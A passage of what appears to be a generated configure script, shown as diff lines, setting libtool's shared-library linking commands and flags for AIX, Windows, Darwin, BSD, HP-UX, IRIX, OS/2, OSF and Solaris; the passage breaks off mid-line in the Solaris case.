$output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L=yes + if test yes = "$GCC" && test -z "$lt_prog_compiler_static"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct=unsupported + fi + ;; + + aix[4-9]*) + if test ia64 = "$host_cpu"; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag= + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to GNU nm, but means don't demangle to AIX nm. + # Without the "-l" option, or with the "-B" option, AIX nm treats + # weak defined symbols like other global defined symbols, whereas + # GNU nm marks them as "W". + # While the 'weak' keyword is ignored in the Export File, we need + # it in the Import File for the 'aix-soname' feature, so we have + # to replace the "-B" option with "-P" for AIX nm. + if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then + export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "W")) && (substr(\$ 3,1,1) != ".")) { if (\$ 2 == "W") { print \$ 3 " weak" } else { print \$ 3 } } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds='`func_echo_all $NM | $SED -e '\''s/B\([^B]*\)$/P\1/'\''` -PCpgl $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "L") || (\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) && (substr(\$ 1,1,1) != ".")) { if ((\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) { print \$ 1 " weak" } else { print \$ 1 } } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # have runtime linking enabled, and use it for executables. + # For shared libraries, we enable/disable runtime linking + # depending on the kind of the shared library created - + # when "with_aix_soname,aix_use_runtimelinking" is: + # "aix,no" lib.a(lib.so.V) shared, rtl:no, for executables + # "aix,yes" lib.so shared, rtl:yes, for executables + # lib.a static archive + # "both,no" lib.so.V(shr.o) shared, rtl:yes + # lib.a(lib.so.V) shared, rtl:no, for executables + # "both,yes" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a(lib.so.V) shared, rtl:no + # "svr4,*" lib.so.V(shr.o) shared, rtl:yes, for executables + # lib.a static archive + case $host_os in aix4.[23]|aix4.[23].*|aix[5-9]*) + for ld_flag in $LDFLAGS; do + if (test x-brtl = "x$ld_flag" || test x-Wl,-brtl = "x$ld_flag"); then + aix_use_runtimelinking=yes + break + fi + done + if test svr4,no = "$with_aix_soname,$aix_use_runtimelinking"; then + # With aix-soname=svr4, we create the lib.so.V shared archives only, + # so we don't have lib.a shared libs to link our executables. + # We have to force runtime linking in this case. + aix_use_runtimelinking=yes + LDFLAGS="$LDFLAGS -Wl,-brtl" + fi + ;; + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds='' + hardcode_direct=yes + hardcode_direct_absolute=yes + hardcode_libdir_separator=':' + link_all_deplibs=yes + file_list_spec='$wl-f,' + case $with_aix_soname,$aix_use_runtimelinking in + aix,*) ;; # traditional, no import file + svr4,* | *,yes) # use import file + # The Import File defines what to hardcode. + hardcode_direct=no + hardcode_direct_absolute=no + ;; + esac + + if test yes = "$GCC"; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`$CC -print-prog-name=collect2` + if test -f "$collect2name" && + strings "$collect2name" | $GREP resolve_lib_name >/dev/null + then + # We have reworked collect2 + : + else + # We have old collect2 + hardcode_direct=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L=yes + hardcode_libdir_flag_spec='-L$libdir' + hardcode_libdir_separator= + fi + ;; + esac + shared_flag='-shared' + if test yes = "$aix_use_runtimelinking"; then + shared_flag="$shared_flag "'$wl-G' + fi + # Need to ensure runtime linking is disabled for the traditional + # shared library, or the linker may eventually find shared libraries + # /with/ Import File - we do not want to mix them. + shared_flag_aix='-shared' + shared_flag_svr4='-shared $wl-G' + else + # not using gcc + if test ia64 = "$host_cpu"; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test yes = "$aix_use_runtimelinking"; then + shared_flag='$wl-G' + else + shared_flag='$wl-bM:SRE' + fi + shared_flag_aix='$wl-bM:SRE' + shared_flag_svr4='$wl-G' + fi + fi + + export_dynamic_flag_spec='$wl-bexpall' + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols=yes + if test aix,yes = "$with_aix_soname,$aix_use_runtimelinking"; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag='-berok' + # Determine the default libpath from the value encoded in an + # empty executable. + if test set = "${lt_cv_aix_libpath+set}"; then + aix_libpath=$lt_cv_aix_libpath +else + if test ${lt_cv_aix_libpath_+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + lt_aix_libpath_sed=' + /Import File Strings/,/^$/ { + /^0/ { + s/^0 *\([^ ]*\) *$/\1/ + p + } + }' + lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + # Check for a 64-bit object if we didn't find anything. + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + fi +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=/usr/lib:/lib + fi + ;; +esac +fi + + aix_libpath=$lt_cv_aix_libpath_ +fi + + hardcode_libdir_flag_spec='$wl-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs $wl'$no_entry_flag' $compiler_flags `if test -n "$allow_undefined_flag"; then func_echo_all "$wl$allow_undefined_flag"; else :; fi` $wl'$exp_sym_flag:\$export_symbols' '$shared_flag + else + if test ia64 = "$host_cpu"; then + hardcode_libdir_flag_spec='$wl-R $libdir:/usr/lib:/lib' + allow_undefined_flag="-z nodefs" + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\$wl$no_entry_flag"' $compiler_flags $wl$allow_undefined_flag '"\$wl$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an + # empty executable. + if test set = "${lt_cv_aix_libpath+set}"; then + aix_libpath=$lt_cv_aix_libpath +else + if test ${lt_cv_aix_libpath_+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + lt_aix_libpath_sed=' + /Import File Strings/,/^$/ { + /^0/ { + s/^0 *\([^ ]*\) *$/\1/ + p + } + }' + lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + # Check for a 64-bit object if we didn't find anything. + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + fi +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + if test -z "$lt_cv_aix_libpath_"; then + lt_cv_aix_libpath_=/usr/lib:/lib + fi + ;; +esac +fi + + aix_libpath=$lt_cv_aix_libpath_ +fi + + hardcode_libdir_flag_spec='$wl-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag=' $wl-bernotok' + allow_undefined_flag=' $wl-berok' + if test yes = "$with_gnu_ld"; then + # We only use this code for GNU lds that support --whole-archive. + whole_archive_flag_spec='$wl--whole-archive$convenience $wl--no-whole-archive' + else + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec='$convenience' + fi + archive_cmds_need_lc=yes + archive_expsym_cmds='$RM -r $output_objdir/$realname.d~$MKDIR $output_objdir/$realname.d' + # -brtl affects multiple linker settings, -berok does not and is overridden later + compiler_flags_filtered='`func_echo_all "$compiler_flags " | $SED -e "s%-brtl\\([, ]\\)%-berok\\1%g"`' + if test svr4 != "$with_aix_soname"; then + # This is similar to how AIX traditionally builds its shared libraries. + archive_expsym_cmds="$archive_expsym_cmds"'~$CC '$shared_flag_aix' -o $output_objdir/$realname.d/$soname $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$realname.d/$soname' + fi + if test aix != "$with_aix_soname"; then + archive_expsym_cmds="$archive_expsym_cmds"'~$CC '$shared_flag_svr4' -o $output_objdir/$realname.d/$shared_archive_member_spec.o $libobjs $deplibs $wl-bnoentry '$compiler_flags_filtered'$wl-bE:$export_symbols$allow_undefined_flag~$STRIP -e $output_objdir/$realname.d/$shared_archive_member_spec.o~( func_echo_all "#! $soname($shared_archive_member_spec.o)"; if test shr_64 = "$shared_archive_member_spec"; then func_echo_all "# 64"; else func_echo_all "# 32"; fi; cat $export_symbols ) > $output_objdir/$realname.d/$shared_archive_member_spec.imp~$AR $AR_FLAGS $output_objdir/$soname $output_objdir/$realname.d/$shared_archive_member_spec.o $output_objdir/$realname.d/$shared_archive_member_spec.imp' + else + # used by -dlpreopen to get the symbols + archive_expsym_cmds="$archive_expsym_cmds"'~$MV $output_objdir/$realname.d/$soname $output_objdir' + fi + archive_expsym_cmds="$archive_expsym_cmds"'~$RM -r $output_objdir/$realname.d' + fi + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + archive_expsym_cmds='' + ;; + m68k) + archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + ;; + esac + ;; + + bsdi[45]*) + export_dynamic_flag_spec=-rdynamic + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++ or Intel C++ Compiler. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + case $cc_basename in + cl* | icl*) + # Native MSVC or ICC + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + always_export_symbols=yes + file_list_spec='@' + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=.dll + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~linknames=' + archive_expsym_cmds='if test DEF = "`$SED -n -e '\''s/^[ ]*//'\'' -e '\''/^\(;.*\)*$/d'\'' -e '\''s/^\(EXPORTS\|LIBRARY\)\([ ].*\)*$/DEF/p'\'' -e q $export_symbols`" ; then + cp "$export_symbols" "$output_objdir/$soname.def"; + echo "$tool_output_objdir$soname.def" > "$output_objdir/$soname.exp"; + else + $SED -e '\''s/^/-link -EXPORT:/'\'' < $export_symbols > $output_objdir/$soname.exp; + fi~ + $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~ + linknames=' + # The linker will not automatically build a static lib if we build a DLL. + # _LT_TAGVAR(old_archive_from_new_cmds, )='true' + enable_shared_with_static_runtimes=yes + exclude_expsyms='_NULL_IMPORT_DESCRIPTOR|_IMPORT_DESCRIPTOR_.*' + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols' + # Don't use ranlib + old_postinstall_cmds='chmod 644 $oldlib' + postlink_cmds='lt_outputfile="@OUTPUT@"~ + lt_tool_outputfile="@TOOL_OUTPUT@"~ + case $lt_outputfile in + *.exe|*.EXE) ;; + *) + lt_outputfile=$lt_outputfile.exe + lt_tool_outputfile=$lt_tool_outputfile.exe + ;; + esac~ + if test : != "$MANIFEST_TOOL" && test -f "$lt_outputfile.manifest"; then + $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1; + $RM "$lt_outputfile.manifest"; + fi' + ;; + *) + # Assume MSVC and ICC wrapper + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=.dll + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_from_new_cmds='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs' + enable_shared_with_static_runtimes=yes + ;; + esac + ;; + + darwin* | rhapsody*) + + + archive_cmds_need_lc=no + hardcode_direct=no + hardcode_automatic=yes + hardcode_shlibpath_var=unsupported + if test yes = "$lt_cv_ld_force_load"; then + whole_archive_flag_spec='`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience $wl-force_load,$conv\"; done; func_echo_all \"$new_convenience\"`' + + else + whole_archive_flag_spec='' + fi + link_all_deplibs=yes + allow_undefined_flag=$_lt_dar_allow_undefined + case $cc_basename in + ifort*|nagfor*) _lt_dar_can_shared=yes ;; + *) _lt_dar_can_shared=$GCC ;; + esac + if test yes = "$_lt_dar_can_shared"; then + output_verbose_link_cmd=func_echo_all + archive_cmds="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod$_lt_dsymutil" + module_cmds="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags$_lt_dsymutil" + archive_expsym_cmds="$SED 's|^|_|' < \$export_symbols > \$output_objdir/\$libname-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod$_lt_dar_export_syms$_lt_dsymutil" + module_expsym_cmds="$SED -e 's|^|_|' < \$export_symbols > \$output_objdir/\$libname-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags$_lt_dar_export_syms$_lt_dsymutil" + + else + ld_shlibs=no + fi + + ;; + + dgux*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2.*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | dragonfly* | midnightbsd*) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + hpux9*) + if test yes = "$GCC"; then + archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag $wl+b $wl$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + else + archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test "x$output_objdir/$soname" = "x$lib" || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec='$wl+b $wl$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + export_dynamic_flag_spec='$wl-E' + ;; + + hpux10*) + if test yes,no = "$GCC,$with_gnu_ld"; then + archive_cmds='$CC -shared $pic_flag $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + fi + if test no = "$with_gnu_ld"; then + hardcode_libdir_flag_spec='$wl+b $wl$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + hardcode_direct_absolute=yes + export_dynamic_flag_spec='$wl-E' + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + fi + ;; + + hpux11*) + if test yes,no = "$GCC,$with_gnu_ld"; then + case $host_cpu in + hppa*64*) + archive_cmds='$CC -shared $wl+h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + archive_cmds='$CC -shared $pic_flag $wl+h $wl$soname $wl+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds='$CC -shared $pic_flag $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case $host_cpu in + hppa*64*) + archive_cmds='$CC -b $wl+h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + archive_cmds='$CC -b $wl+h $wl$soname $wl+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + + # Older versions of the 11.00 compiler do not understand -b yet + # (HP92453-01 A.11.01.20 doesn't, HP92453-01 B.11.X.35175-35176.GP does) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if $CC understands -b" >&5 +printf %s "checking if $CC understands -b... " >&6; } +if test ${lt_cv_prog_compiler__b+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_prog_compiler__b=no + save_LDFLAGS=$LDFLAGS + LDFLAGS="$LDFLAGS -b" + echo "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The linker can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + $ECHO "$_lt_linker_boilerplate" | $SED '/^$/d' > conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler__b=yes + fi + else + lt_cv_prog_compiler__b=yes + fi + fi + $RM -r conftest* + LDFLAGS=$save_LDFLAGS + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler__b" >&5 +printf "%s\n" "$lt_cv_prog_compiler__b" >&6; } + +if test yes = "$lt_cv_prog_compiler__b"; then + archive_cmds='$CC -b $wl+h $wl$soname $wl+b $wl$install_libdir -o $lib $libobjs $deplibs $compiler_flags' +else + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' +fi + + ;; + esac + fi + if test no = "$with_gnu_ld"; then + hardcode_libdir_flag_spec='$wl+b $wl$libdir' + hardcode_libdir_separator=: + + case $host_cpu in + hppa*64*|ia64*) + hardcode_direct=no + hardcode_shlibpath_var=no + ;; + *) + hardcode_direct=yes + hardcode_direct_absolute=yes + export_dynamic_flag_spec='$wl-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test yes = "$GCC"; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + # Try to use the -exported_symbol ld option, if it does not + # work, assume that -exports_file does not work either and + # implicitly export all symbols. + # This should be the same for all languages, so no per-tag cache variable. + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5 +printf %s "checking whether the $host_os linker accepts -exported_symbol... " >&6; } +if test ${lt_cv_irix_exported_symbol+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) save_LDFLAGS=$LDFLAGS + LDFLAGS="$LDFLAGS -shared $wl-exported_symbol ${wl}foo $wl-update_registry $wl/dev/null" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +int foo (void) { return 0; } +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + lt_cv_irix_exported_symbol=yes +else case e in #( + e) lt_cv_irix_exported_symbol=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS=$save_LDFLAGS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5 +printf "%s\n" "$lt_cv_irix_exported_symbol" >&6; } + if test yes = "$lt_cv_irix_exported_symbol"; then + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations $wl-exports_file $wl$export_symbols -o $lib' + fi + else + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -exports_file $export_symbols -o $lib' + fi + archive_cmds_need_lc='no' + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + hardcode_libdir_separator=: + inherit_rpath=yes + link_all_deplibs=yes + ;; + + linux*) + case $cc_basename in + tcc*) + # Fabrice Bellard et al's Tiny C Compiler + ld_shlibs=yes + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + newsos6) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + hardcode_libdir_separator=: + hardcode_shlibpath_var=no + ;; + + *nto* | *qnx*) + ;; + + openbsd* | bitrig*) + if test -f /usr/libexec/ld.so; then + hardcode_direct=yes + hardcode_shlibpath_var=no + hardcode_direct_absolute=yes + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags $wl-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec='$wl-rpath,$libdir' + export_dynamic_flag_spec='$wl-E' + else + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='$wl-rpath,$libdir' + fi + else + ld_shlibs=no + fi + ;; + + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + allow_undefined_flag=unsupported + shrext_cmds=.dll + archive_cmds='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + emxexp $libobjs | $SED /"_DLL_InitTerm"/d >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + archive_expsym_cmds='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + prefix_cmds="$SED"~ + if test EXPORTS = "`$SED 1q $export_symbols`"; then + prefix_cmds="$prefix_cmds -e 1d"; + fi~ + prefix_cmds="$prefix_cmds -e \"s/^\(.*\)$/_\1/g\""~ + cat $export_symbols | $prefix_cmds >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + old_archive_From_new_cmds='emximp -o $output_objdir/${libname}_dll.a $output_objdir/$libname.def' + enable_shared_with_static_runtimes=yes + file_list_spec='@' + ;; + + osf3*) + if test yes = "$GCC"; then + allow_undefined_flag=' $wl-expect_unresolved $wl\*' + archive_cmds='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + fi + archive_cmds_need_lc='no' + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + hardcode_libdir_separator=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test yes = "$GCC"; then + allow_undefined_flag=' $wl-expect_unresolved $wl\*' + archive_cmds='$CC -shared$allow_undefined_flag $pic_flag $libobjs $deplibs $compiler_flags $wl-msym $wl-soname $wl$soname `test -n "$verstring" && func_echo_all "$wl-set_version $wl$verstring"` $wl-update_registry $wl$output_objdir/so_locations -o $lib' + hardcode_libdir_flag_spec='$wl-rpath $wl$libdir' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$CC -shared$allow_undefined_flag $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib' + archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $wl-input $wl$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "-set_version $verstring"` -update_registry $output_objdir/so_locations -o $lib~$RM $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec='-rpath $libdir' + fi + archive_cmds_need_lc='no' + hardcode_libdir_separator=: + ;; + + solaris*) + no_undefined_flag=' -z defs' + if test yes = "$GCC"; then + wlarc='$wl' + archive_cmds='$CC -shared $pic_flag $wl-z ${wl}text $wl-h $wl$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -shared $pic_flag $wl-z ${wl}text $wl-M $wl$lib.exp $wl-h $wl$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + else + case `$CC -V 2>&1` in + *"Compilers 